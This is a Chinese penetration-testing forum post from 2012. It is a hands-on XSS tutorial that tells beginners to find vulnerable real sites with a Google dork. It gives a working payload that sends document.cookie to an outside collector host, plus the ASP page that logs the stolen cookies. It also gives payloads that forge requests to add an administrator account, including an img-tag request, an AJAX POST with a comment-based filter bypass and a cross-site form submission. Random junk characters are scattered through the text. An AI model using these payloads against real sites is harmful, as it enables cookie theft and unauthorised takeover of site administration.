中国网络渗透测试联盟

标题: 实战xss漏洞利用 [打印本页]

作者: admin    时间: 2012-9-13 17:08
标题: 实战xss漏洞利用
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: 0 e. o: X! w9 ^; V

; O1 L: A3 x; t4 V% yhttp://tieba.baidu.com/f?kz=1069007239
# s; e; @* M9 V4 C  [! f" q6 g/ X, I+ k- T. n
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
+ R2 }( j! V0 Z8 g) k9 d  i4 r  @; m7 t2 f
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。4 J+ \& L0 e2 m, h9 g
) ~4 f  Z4 _1 ]7 I8 H
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
8 M& G' G) n1 t2 s& @3 {' Y' n  }3 i, P' c8 H! R
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
: C2 O1 j$ }; z. L- D& k4 S' }0 O0 q  {3 }! a2 M, N* x+ z
好了,废话不多说了,一起来看文章吧。
5 u9 U& {. b) a0 @" Y, C% R/ l  G# B1 {/ }' s
-------------------------------------------------------------------7 E% C0 e+ u+ ]: b$ M, ?6 F
: g' Q; Y1 ~* q+ W: ^& C+ T6 X" o
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。: {4 H; ?" e$ e7 p- ~9 o
- g% f/ S; C' X& C( \, ]
' X2 S8 S9 R! g$ L+ G2 M) g& @
  J1 @+ p+ s0 t6 p7 }
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:( x  e$ |/ e) W2 A

+ h  G0 b# Z0 ^6 H. j * f6 ~6 t6 m( |2 A

. m6 k& S: F0 m' h6 A2 P这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是8 T: Z9 U: P1 d% ~. Z3 Q
1:让目标访问已跨站的网址,然后这个网址执行脚本
$ ]* d8 i1 M6 O9 i4 F% u8 D; J2:然后跳转到你已经写好专门用来收集Cookie的网址
$ Y0 t. D9 Y6 `8 y$ `' a& _/ x& Y0 B0 j; d& |% ^% j) P
具体实现方法:
* j0 p4 i8 C: X+ b) L先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>. z( W4 v! D2 V. E, U4 W0 `
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。: o" e, L) e- N6 C2 B0 y

9 s: d' K5 r0 j这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
* A) i" G: ]6 }4 i! p; _+ F
6 Z' r  o( X2 {0 s<html>3 h2 }+ ?/ C/ G4 o
<title>xx</title>) u; g0 E; @5 L1 ~
<body>1 D) q; K7 H: B8 j1 v: y
<%$ }3 z! q4 A2 j9 v1 I: W
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
0 M' O) @9 t5 jmsg = Request("msg")   //获取提交过来的msg变量,也就是cookie值$ ~5 \5 y9 y& Y4 ]: B1 |( }! F$ n
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
4 ^# L* V! {7 ^/ s6 E  }7 _- Vset thisfile = fs.OpenTextFile(testfile,8,True,0)
2 l/ G2 ~/ }6 A: F( F$ s, zthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie8 s5 `! j8 b* H" J, `
thisfile.close   //关闭
% U1 b5 K$ N$ _4 eset fs = nothing& ^0 d- J% I4 w
%>
$ F) j' N3 I' ^</body>
8 H6 a7 m4 k# o3 `/ S3 U! k4 R</html>
6 k4 j' S" C# q" a- `, \# W/ m0 G. h% i# f, h
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
3 b/ C/ v, O* p4 b
$ \% y( @" o+ }# Q: m
! F( O: b) w) E' K0 D7 U1 C# a - I" n6 j7 ]5 _. ]4 o6 @

3 c/ [* l6 \1 d; E6 v4 V+ D* h7 T# }拿出来看看,呵呵,Cookie到手:
* t5 `- ]0 v5 e1 k( Q# I/ x  I6 T& N  l6 Q( J

4 B3 u1 M) {% N  |( `: @/ \% b% @( j/ X
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~9 c3 w5 U# M. x  y2 x" _

9 I5 A- v4 [6 g+ e) FPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
  J% L9 K: d& Q! @. b; n' P& d8 p& B# G5 @: o/ n4 Y$ Z3 a# n5 O
-------------------------------------------------------------------5 a  Y$ Q  p7 o% T& V1 Z) n

0 Z% D* _. k& ~* B$ H下面是我对这个帖子的回复,也一起贴过来吧:- L* s( k$ G% g& R$ _  e
4 l* X8 W) X0 B
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
" \7 Y: k; d5 n9 X. M7 Z2 H( n
8 ]4 ~) X+ Q6 q但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。0 {4 C6 |" v. L9 h( B
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
6 L4 b$ P2 y/ L2 ?  S
5 e1 ~; m; P, N, o在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:) b; Q1 K' B  d, e/ F+ e3 F- w

* D1 d  G2 i- F: s$ i) q) Fhttp://user.qzone.qq.com/673116767/blog/12524525362 a2 y: l0 ]( D

" N+ Q) {0 b, K8 H4 q& i/ ~; y3 B) N一般发现一个xss漏洞后要做的基本上就是这些:8 q5 B7 X' o$ f+ x1 F0 _
, K% G" _6 R" K- k
1.  伪造请求  使用$_REQUEST或$_GET
. a1 p& @3 g2 @. G  E9 s' }$ p+ W8 C3 s7 o7 M
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:, R  g$ A- x. z# J0 s7 B
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />  O, T3 a" v5 \9 P& f
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。* I! @' E" u- Y: x. A) U$ m
7 i- `/ Z, }9 j% P! E4 W) t, a- q- _
如果是可视文本编辑器,可以尝试使用输入:
" Z) ?0 n& |) s8 V* R/ @0 v* |http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
* A& I5 A, ~& i% S4 @: K: F这样最终会构造出:
) z. z, H' Q$ ]4 {1 n- m$ h* G<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />. u/ A6 V! z$ E: ~$ q8 D- `$ h3 D' x
总之要举一反三。( x* z; S, n( S

' K8 u; i1 x4 V/ h2. 伪造请求  使用$_POST
, q) [* G/ N* d: p, T
, m0 e4 \/ V2 O0 t4 f+ Y8 w4 l) O9 p当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:7 {/ D/ u3 g2 J- q
<sc/*xss*/ript type="text/javascript">
+ b& t* j/ ^/ evar aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
  d/ X) x) U0 |aj.open("POST", "/admin/admin_add.asp", false);
- [% z* y7 [7 P: \* j/ W8 M* uvar postdata = 'name=xxx&psd=yyy';; m6 X4 c% [$ R/ d9 L& u
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); " B, d+ M0 L4 w( F1 P
aj.send(postdata);- k. n- A" e/ Z& _" s
</scr/*xss*/ipt>) T' }# @6 `/ a
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
1 O7 D2 F* ^/ J4 y- A
5 s. M+ a1 Z( D$ y3. 跨站伪造请求 使用$_GET 或 $_REQUEST
; E/ C8 b6 \# S+ D+ O4 `) T+ s  H
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片8 H4 f! W, c1 X
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>2 [, z  |, o. w- ^, m" s3 d/ s3 i( H
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。0 @( D( w3 z  t* x9 c/ d8 }8 N2 [

& P. q1 N1 ]# o2 ^! @. y4 [4.跨站伪造请求 使用$_POST(0day)) o3 J4 K0 O2 q9 M9 z; ?
! [; _0 G3 m$ N! Z
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
8 D. O7 ~/ x- f, m
# b6 |; t! H- k但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
& i" C. u* _# w8 H: G
( B# r! y# c& \9 O6 J) J# P总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
! k! o1 `5 c' \' k" j0 R
: [6 |; u9 k) ?  I8 c0 oOK,该说的都说完了,Over。6 d( a* g: ?/ |% S# V





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2